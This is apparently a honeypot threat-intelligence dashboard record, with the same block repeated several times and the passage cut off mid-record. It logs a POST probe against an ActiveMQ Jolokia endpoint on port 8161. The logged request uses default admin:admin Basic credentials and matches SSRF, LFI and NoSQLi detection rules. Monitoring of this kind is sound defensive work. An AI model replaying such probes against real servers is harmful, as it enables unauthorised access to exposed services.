"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
